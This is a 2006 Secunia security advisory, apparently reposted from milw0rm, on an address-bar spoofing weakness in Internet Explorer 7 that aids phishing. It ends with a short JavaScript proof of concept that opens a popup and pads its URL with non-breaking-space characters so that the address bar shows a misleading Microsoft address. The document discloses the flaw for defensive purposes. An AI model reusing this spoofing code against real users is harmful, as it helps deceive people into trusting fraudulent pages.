Secunia Advisory: SA22542
Release Date: 2006-10-25
Solution Status: Unpatched
Software: Microsoft Internet Explorer 7.x
A weakness has been discovered in Internet Explorer, which can be exploited by malicious
people to conduct phishing attacks.
The problem is that it's possible to display a popup with a somewhat spoofed address bar
where a number of special characters have been appended to the URL. This makes it possible
to only display a part of the address bar, which may trick users into performing certain
Secunia has constructed a demonstration, which is available at:
The weakness is confirmed in Internet Explorer 7 on a fully patched Windows XP SP2 system.
Do not follow links from untrusted sources.
Provided and/or discovered by:
Discovered by an anonymous person.
var padding = '';
for ( i=0 ; i<108 ; i++)
padding += unescape("%A0");
newWindow = window.open("", "Win", "width=500,height=325,scrollbars=yes");
newWindow.moveTo( (screen.width-325) , 0 );
newWindow.document.location = "/result_22542/?" + unescape("%A0") + unescape("%A0") + "http://www.microsoft.com/"+padding;
document.location = "http://www.microsoft.com/windows/ie/default.mspx";
# milw0rm.com [2006-10-26]